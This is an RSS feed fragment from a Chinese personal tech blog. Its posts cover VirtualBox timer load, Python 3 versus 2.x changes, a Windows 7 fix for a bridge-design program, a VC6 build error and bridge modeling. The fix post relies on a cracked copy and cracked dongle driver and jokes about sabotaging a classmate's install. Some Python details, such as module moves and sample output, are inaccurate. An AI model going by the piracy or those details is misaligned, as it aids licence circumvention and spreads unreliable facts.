style="display:none"><pre>这是一个已知的性能问题。虚拟机的中断是经过虚拟化软件来进行处理的，而不是直接的硬件中断；当 guest OS 定时器精度较高时，如 1000 Hz （这是新版内核的默认情况，早期内核的精度是 100 Hz 甚至 10 Hz），直接在硬件上运行操作系统通常是没有问题的，但虚拟机将花费较多的 host CPU time 来处理定时器对应的系统中断，因此用户会发现 CPU 占用变高，甚至在&ldquo;空闲&rdquo;时也能达到 50% ~ 100%；解决的办法是降低 guest OS 定时器的精度，以牺牲精度来换取性能。 如果您的 host CPU 支持硬件虚拟化技术（Intel VT 或 AMD-V），您还可以试着打开 VirtualBox 的 hardware virtualization，这应该可以继续改善虚拟机的性能。</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p><a href="http://www.freebsdchina.org/forum/viewtopic.php?t=49642&amp;sid=fd0a193977b26f4cb7cc123ce336611a">参考文章</a></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/FreeBSD-oper">FreeBSD命令速记</a></p><p><a href="http://www.holmesian.org/samsung_network">三星手机无法上网的解决办法</a></p><p><a href="http://www.holmesian.org/FreeBSD-DHCP">解决VirtualBox里FreeBSD不能上网的问题</a></p><p><a href="http://www.holmesian.org/FreeBSD-Route">FreeBSD路由-网络配置学习笔记</a></p><p><a href="http://www.holmesian.org/FreeBSD-Study">FreeBSD学习</a></p><p><a href="http://www.holmesian.org/ESXi-guest-time-slow">在ESXi中运行的客户机时间会变慢</a></p></div>]]></description>
	<pubDate>Sat, 07 May 2011 02:36:43 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/FreeBSD-ESXi-opt</guid>

</item>
<item>
	<title> python3.1与python2.x的区别</title>
	<link>http://www.holmesian.org/python-diff</link>
	<description><![CDATA[<p>荒废了好长一段时间，突然准备在毕设之余正儿八经地看一看Python的内容，结果发现用着2.x版本python的教程在python3.1上实验着，一个hello world让我郁闷了好几分钟，不太明白为什么升级之后要对之前的一些基础用法做那么多的改变，而且是在python最大的瓶颈&mdash;&mdash;性能上没有显著改善的情况下。</p><p>下面是通过上网的内容所总结的pythone3.1和2.x版本的一些主要区别，对于初学者来说直接使用3.1版本进行学习应该是一个不错的选择，如果不是急于做某个项目的话。</p><p></p><p>&nbsp;</p><p><strong> 1.性能</strong></p><p>Py3.0运行pystone benchmark的速度比Py2.5慢30%。Guido认为Py3.0有极大的优化空间，在字符串和整形操作上可以取得很好的优化结果。</p><p>&nbsp;</p><p><strong>2.编码</strong></p><p>Py3.0源码文件默认使用utf-8编码，这就使得以下代码是合法的：</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>&gt;&gt;&gt;脑残 = </span><span class="string">'GFW'</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&gt;&gt;&gt; <span class="keyword">print</span><span>(脑残)</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>GFW</span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>&gt;&gt;&gt;脑残 = 'GFW'&gt;&gt;&gt; print(脑残)GFW</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>&nbsp;</p><p><strong>3.语法</strong></p><p>如果你下载的是最新版的Python，就会发现所有书中的Hello World例子将不再正确。 例如：</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>Old: </span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="keyword">print</span><span> </span><span class="string">&quot;Hello World!&quot;</span><span> </span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt">&nbsp;</li>&nbsp;&nbsp;&nbsp;&nbsp;<li>&nbsp;</li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>New: </span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="keyword">print</span><span>(</span><span class="string">&quot;Hello World!&quot;</span><span>) </span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>Old: print &quot;Hello World!&quot; New: print(&quot;Hello World!&quot;) </pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>语法方面的改变大概如下：</p><p>1）去除了&lt;&gt;，全部改用!=</p><p>2）去除``，全部改用repr()</p><p>3）关键词加入as和with，还有True,False,None</p><p>4）整型除法返回浮点数，要得到整型结果，请使用//</p><p>5）加入nonlocal语句。使用noclocal x可以直接指派外围（非全局）变量</p><p>6）去除print语句，加入print()函数实现相同的功能。同样的还有exec语句，已经改为exec()函数</p><p>7）改变了顺序操作符的行为，例如x&lt;y，当x和y类型不匹配时抛出TypeError而不是返回随即的bool值</p><p>8）输入函数改变了：</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>Old:</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>guess = int(raw_input(<span class="string">'Enter an integer : '</span><span>)) </span><span class="comment">#读取键盘输入</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt">&nbsp;</li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>New:</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>guess = int(input(<span class="string">'Enter an integer : '</span><span>))</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>Old:guess = int(raw_input('Enter an integer : ')) #读取键盘输入的方法New:guess = int(input('Enter an integer : '))</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>9）去除元组参数解包。不能def(a, (b, c)):pass这样定义函数了</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>4.数据类型</strong></p><p>1）Py3.0去除了long类型，现在只有一种整型&mdash;&mdash;int，但它的行为就像2.x版本的long</p><p>2）新增了bytes类型，对应于2.x版本的八位串，定义一个bytes字面量的方法如下：</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>&gt;&gt;&gt; b = b</span><span class="string">'china'</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&gt;&gt;&gt; type(b)</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&lt;type <span class="string">'bytes'</span><span>&gt;</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>&gt;&gt;&gt; b = b'china'&gt;&gt;&gt; type(b)&lt;type 'bytes'&gt;</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>str对象和bytes对象可以使用.encode() (str -&gt; bytes) or .decode() (bytes -&gt; str)方法相互转化。</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>&gt;&gt;&gt; s = b.decode()</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&gt;&gt;&gt; s</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="string">'china'</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&gt;&gt;&gt; b1 = s.encode()</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>&gt;&gt;&gt; b1</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>b<span class="string">'china'</span></span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>&gt;&gt;&gt; s = b.decode()&gt;&gt;&gt; s'china'&gt;&gt;&gt; b1 = s.encode()&gt;&gt;&gt; b1b'china'</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>3）dict的.keys()、.items和.values()方法返回迭代器，而之前的iterkeys()等函数都被废弃。同时去掉的还有dict.has_key()，用in替代它</p><p>&nbsp;</p><p><strong>5.面向对象</strong></p><p>&nbsp;</p><p>1）引入抽象基类（Abstraact Base Classes，ABCs）。</p><p>2）容器类和迭代器类被ABCs化，所以cellections模块里的类型比Py2.5多了很多。</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>&gt;&gt;&gt; </span><span class="keyword">import</span><span> collections</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&gt;&gt;&gt; <span class="keyword">print</span><span>(</span><span class="string">'&#92;n'</span><span>.join(dir(collections)))</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Callable</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Container</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Hashable</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>ItemsView</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Iterable</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Iterator</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>KeysView</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Mapping</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>MappingView</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>MutableMapping</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>MutableSequence</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>MutableSet</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>NamedTuple</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Sequence</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Set</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Sized</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>ValuesView</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>__all__</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>__builtins__</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>__doc__</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>__file__</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>__name__</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>_abcoll</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>_itemgetter</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>_sys</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>defaultdict</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>deque</span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>&gt;&gt;&gt; import collections&gt;&gt;&gt; print('&#92;n'.join(dir(collections)))CallableContainerHashableItemsViewIterableIteratorKeysViewMappingMappingViewMutableMappingMutableSequenceMutableSetNamedTupleSequenceSetSizedValuesView__all____builtins____doc____file____name___abcoll_itemgetter_sysdefaultdictdeque</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>3）迭代器的next()方法改名为__next__()，并增加内置函数next()，用以调用迭代器的__next__()方法</p><p>4）增加了@abstractmethod和 @abstractproperty两个decorator。</p><p>&nbsp;</p><p><strong>5.异常处理</strong></p><p>1） 所以异常都从BaseException继承，并删除了StardardError</p><p>2） 去除了异常类的序列行为和.message属性</p><p>3） 用raise Exception(args)代替 raise Exception, args语法</p><p>4） 捕获异常的语法改变，引入了as关键字来标识异常实例，</p><p>在Py2.5中：</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>&gt;&gt;&gt; </span><span class="keyword">try</span><span>:</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>...&nbsp;&nbsp;&nbsp;&nbsp; <span class="keyword">raise</span><span> NotImplementedError(</span><span class="string">'Error'</span><span>)</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>... <span class="keyword">except</span><span> NotImplementedError, error:</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>...&nbsp;&nbsp;&nbsp;&nbsp; <span class="keyword">print</span><span> error.message</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>...</span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Error</span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>&gt;&gt;&gt; try:...&nbsp;&nbsp;&nbsp;&nbsp; raise NotImplementedError('Error')... except NotImplementedError, error:...&nbsp;&nbsp;&nbsp;&nbsp; print error.message...Error</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>在Py3.0中：</p><div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div><ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>&gt;&gt;&gt; </span><span class="keyword">try</span><span>:</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span class="keyword">raise</span><span> NotImplementedError(</span><span class="string">'Error'</span><span>)</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="keyword">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except</span><span> NotImplementedError as error:&nbsp;&nbsp;</span><span class="comment">#逗号变成as了</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span class="keyword">print</span><span>(str(error))</span></span></li>&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Error</span></li></ol></div><div contenteditable="false" class="python" style="display:none"><pre>&gt;&gt;&gt; try:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; raise NotImplementedError('Error')except NotImplementedError as error:&nbsp;&nbsp;#逗号变成as了&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print(str(error))Error</pre></div><div contenteditable="false"><link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div></div><p>&nbsp;</p><p><strong>6.模块变动</strong></p><p>&middot; 移除了cPickle模块，可以使用pickle模块代替。最终我们将会有一个透明高效的模块。</p><p>&middot; 移除了imageop模块</p><p>&middot; 移除了audiodev, Bastion, bsddb185, exceptions, linuxaudiodev, md5, MimeWriter, mimify, popen2, rexec, sets, sha, stringold, strop, sunaudiodev, timing和xmllib模块</p><p>&middot; 移除了bsddb模块(单独发布，可以从http://www.jcea.es/programacion/pybsddb.htm获取)</p><p>&middot; 移除了new模块</p><p>&middot; os.tmpnam()和os.tmpfile()函数被移动到tmpfile模块下</p><p>&middot; tokenize模块现在使用bytes工作。主要的入口点不再是generate_tokens，而是tokenize.tokenize()</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/python-thread">Python多线程抓取</a></p><p><a href="http://www.holmesian.org/python-penrose-tiling">神奇的Python混乱代码</a></p><p><a href="http://www.holmesian.org/python-shelve-set">折腾Python人人爬虫的收获</a></p><p><a href="http://www.holmesian.org/Python-MySQLdb">让Python支持Mysql</a></p><p><a href="http://www.holmesian.org/python-jiepang">用Python自动登录街旁并完成签到</a></p><p><a href="http://www.holmesian.org/python-test">初用python</a></p></div>]]></description>
	<pubDate>Fri, 08 Apr 2011 04:41:38 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/python-diff</guid>

</item>
<item>
	<title>将Blog迁移到了另一台服务器</title>
	<link>http://www.holmesian.org/blog-move</link>
	<description><![CDATA[<p>&nbsp;综合多方考虑将Blog迁移到了另外一台服务器，突然发现godaddy的域名解析修改生效如此之快，莫非我的DNS解析都不被任何一级DNS服务器缓存的？ &nbsp;</p><p>被Google Chrome的DNS预加载和缓存浪费了半个多钟头的时间&hellip;&hellip;</p>]]></description>
	<pubDate>Wed, 30 Mar 2011 11:49:24 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/blog-move</guid>

</item>
<item>
	<title>桥梁博士3.0在windows7下无法运行的解决办法</title>
	<link>http://www.holmesian.org/win7_dr_bridge</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;关于桥梁博士在win7下无法使用的解决方案网上一大堆都是说win7怎么怎么不兼容，或者换回xp之类的废话，让很多恰好桥梁博士无法在win7下使用的TX郁闷到了。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;其实对于没有经过任何优化设置为默认的windows7，桥梁博士3.0（我指的是破解版）是可以直接运行的！但是几台机器里面总有那么一两台win7安装桥梁博士后会出现这种情况：安装程序成功结束，破解狗驱动安装成功，运行之后却没有任何提示而在任务管理器中一直存在dbmain.exe进程！每次看到双击桥博图标后鼠标旁边闪一闪小漏斗然后消失就相当之郁闷：因为帮N个TX的win7系统上装好了桥博，唯独我自己的两台电脑上不能运行。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;话说为了解决这个问题我郁闷了很长一段时间，并且将我一台电脑的win7重装之后对比着找原因，发现无法运行桥博的时候dbmain.exe进程中有两个线程在相互切换和等待，但就是不进行下去，而能工正常运行的桥博的环境下dbmain.exe的两个线程相互切换几次后就会启动第三个线程而此时桥博的欢迎界面就华丽丽的出现了。为了找到第三个线程触发的条件，我走了相当长的一段弯路……（×&amp;（×……￥%#！% &nbsp; （以下省略一万字……）</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;走完一大段的弯路之后，问题的核心回到了那个破解的狗驱动上，由于win7对之前版本程序的兼容方法，那个狗驱动的返回信息竟然是通过Server服务传回的！！ 而很多所有的windows服务优化方法或者软件都建议不在内网的用户将SERVER服务关掉…… 所以桥梁博士的主进程里的两个子线程就在傻傻地等待狗驱动返回值中光荣地挂起了……</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;桥梁博士3.0在windows7下安装后无法运行解决办法的正文从此开始：</p>
<p>&nbsp;</p>
<p><pre class="brush:shell; toolbar: true; auto-links: true;">&nbsp;&nbsp;&nbsp;&nbsp;在我的电脑上点击右键》管理》服务和应用程序》服务》在右边找到Server服务，将其设置为“自动”并启动，你的桥博就可以运行了……</pre></p>
<p>&nbsp;</p>
<p>PS：如果你想让某TX的windows7上无法运行你桥梁博士，你懂的……</p>
<p>另外，XP没有此限制。</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/asp-excel-access">ASP实现Excel数据导入ACCESS</a></p><p><a href="http://www.holmesian.org/post/494">vbs</a></p><p><a href="http://www.holmesian.org/fix-cdrom">光驱驱动问题的解决办法</a></p><p><a href="http://www.holmesian.org/WindowsM">E6安装Windows Mobile系统的可行性分析</a></p><p><a href="http://www.holmesian.org/Ucenter-com">合并两个Ucenter过程</a></p><p><a href="http://www.holmesian.org/post/448">Windows漏洞利用工具--MS08067</a></p></div>]]></description>
	<pubDate>Fri, 25 Mar 2011 02:49:35 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/win7_dr_bridge</guid>

</item>
<item>
	<title>解决BSCMAKE: error BK1506 (VC6)问题</title>
	<link>http://www.holmesian.org/bscmake_error_BK_1506</link>
	<description><![CDATA[<p>&nbsp;因为在小本上使用的win7版本无法运行桥梁博士（后来证实是某服务导致的），所以非常无奈的重装了一遍win7，好在我之前将Win7的所有User数据都用windows下的软连接(mklink Junction)形式移动到了非系统盘，所以重装Win7之后可以很简单恢复到重装前的各种环境。</p><p>重装之后桥梁博士可以用了，但是用Visual C++ 6编译某东东的时候会&ldquo;<span class="Apple-style-span" style="font-family: simsun; line-height: 23px; ">BSCMAKE: error BK1506 : : No such file or directory&nbsp;</span>&rdquo;，大概就是每个项目下的sbr文件无法找到。尝试用了一下网上找到的方法比如重置工程》设置里面的常规设置，去掉sbr文件生成的选项等等，一样会继续报错。考虑到这个东东的源码一直都没有修改，所以把注意力集中到设置和位置上，最终发现由于软连接的缘故我编译的这段源码现在位置是在&ldquo;D:&#92;my doucument&#92;code&#92;.....&rdquo;下！ 问题就出在这里，原来我的文档是用C:&#92;doucumnet =&gt;D:&#92;my doucument&#92;连接过来的，而现在的位置直接是D:&#92;my doucument&#92;，my doucument文件夹名字中存在空格&hellip;&hellip;，解决方法将工程移动到不含空格和中文名的目录下即可！</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/XP-boot-up">减少你的Windows系统启动时间</a></p><p><a href="http://www.holmesian.org/asp-mdb-excle-2">继续ASP2EXCEL</a></p><p><a href="http://www.holmesian.org/mysql-tmp-table-size">Mysql缓解Copying to tmp table on disk状态</a></p><p><a href="http://www.holmesian.org/post/859">红警2局域网联机补丁</a></p><p><a href="http://www.holmesian.org/kxunlei">看迅雷“盗窃”你的文件和带宽</a></p><p><a href="http://www.holmesian.org/DZ72_Apache">漏洞发生日</a></p></div>]]></description>
	<pubDate>Fri, 25 Mar 2011 02:31:25 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/bscmake_error_BK_1506</guid>

</item>
<item>
	<title>6×30m预应力混凝土先简支后连续箱梁桥(2)</title>
	<link>http://www.holmesian.org/Prestressed-concrete-box-beam-bridge-2</link>
	<description><![CDATA[<p>&nbsp;这部分主要是通过桥梁博士建立桥梁模型。</p>
<p>&nbsp;</p>
<p></p>
<p class="p15" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';">桥梁博士建模</span><span style="mso-spacerun:'yes';font-weight:bold;font-size:14.0000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">首先用<span style="font-family:'Times New Roman';">AutoCAD</span><span style="font-family:宋体;">将箱梁截面画出来，一般画三个截面就够了，我建的是中梁的模型，将画好的模型通过</span><span style="font-family:'Times New Roman';">AutoCAD</span><span style="font-family:宋体;">另存为</span><span style="font-family:'Times New Roman';">dxf</span><span style="font-family:宋体;">文件用于导入桥梁博士。</span></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870214_30414a47.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">在桥梁博士中新建项目后首先修改规范，如上图红色部分，使用中交</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">04<span style="font-family:宋体;">规范。在主界面上点击右键选择从</span><span style="font-family:'Times New Roman';">AutoCAD</span><span style="font-family:宋体;">导入截面，在根据提示将做好的</span><span style="font-family:'Times New Roman';">CAD</span><span style="font-family:宋体;">图形导入成桥梁博士中的单元：</span></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870214_9040fb5c.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870215_751910fb.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">根据设计的具体情况将单元信息输入，我的模型使用了</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">216<span style="font-family:宋体;">个节点，</span></span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">期间要充分利用对称性。</span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870215_926509dd.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">单元信息输入完毕无误之后开始输入施工信息，我将施工过程分为了四个阶段：第一阶段为简支段；第二阶段为两边连续中间简支；第三阶段为全桥合拢；第四阶段为加恒载徐变<span style="font-family:'Times New Roman';">1000</span><span style="font-family:宋体;">天。期间要计算一期恒载（自重），二期横载（桥面铺装、防撞栏、湿接缝等），并统一为均布荷载加载到第四阶段。</span></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870215_19168266.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870335_6023f19c.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">接下来是使用阶段信息：（温差<span style="font-family:'Times New Roman';">16</span><span style="font-family:宋体;">度任务书中已经给出）</span></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870335_97449eb9.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870335_1440602e.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">依照规范计算后批量添加温度荷载</span><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">用刚性横梁法和刚接板梁法计算桥面横向分布系数得<span style="font-family:'Times New Roman';">0.623</span></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';"><o:p></o:p></span></p>
<p></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870335_13137afb.png" /></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'宋体';">输入活载信息</span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;">&nbsp;</p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><img alt="" src="/attachment/1300870335_4884ec3f.png" /></p>
